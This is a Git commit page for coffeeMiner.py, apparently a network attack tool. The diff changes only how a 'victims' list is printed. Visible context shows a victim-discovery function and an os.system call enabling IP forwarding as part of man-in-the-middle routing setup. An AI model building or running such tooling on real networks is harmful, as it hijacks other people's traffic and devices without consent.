Browse Source

Update coffeeMiner.py

pull/5/head
dotaxis 7 years ago
committed by GitHub
parent
commit
7c7b4994d5
No known key found for this signature in database GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 2 deletions
  1. +3
    -2
      coffeeMiner.py

+ 3
- 2
coffeeMiner.py

@ -23,9 +23,10 @@ def get_victims():
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = get_victims()
print("victims: ")
for victim in get_victims():
print(victim)
for v in victims:
print(v)
# configure routing (IPTABLES)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")

Loading…
Cancel
Save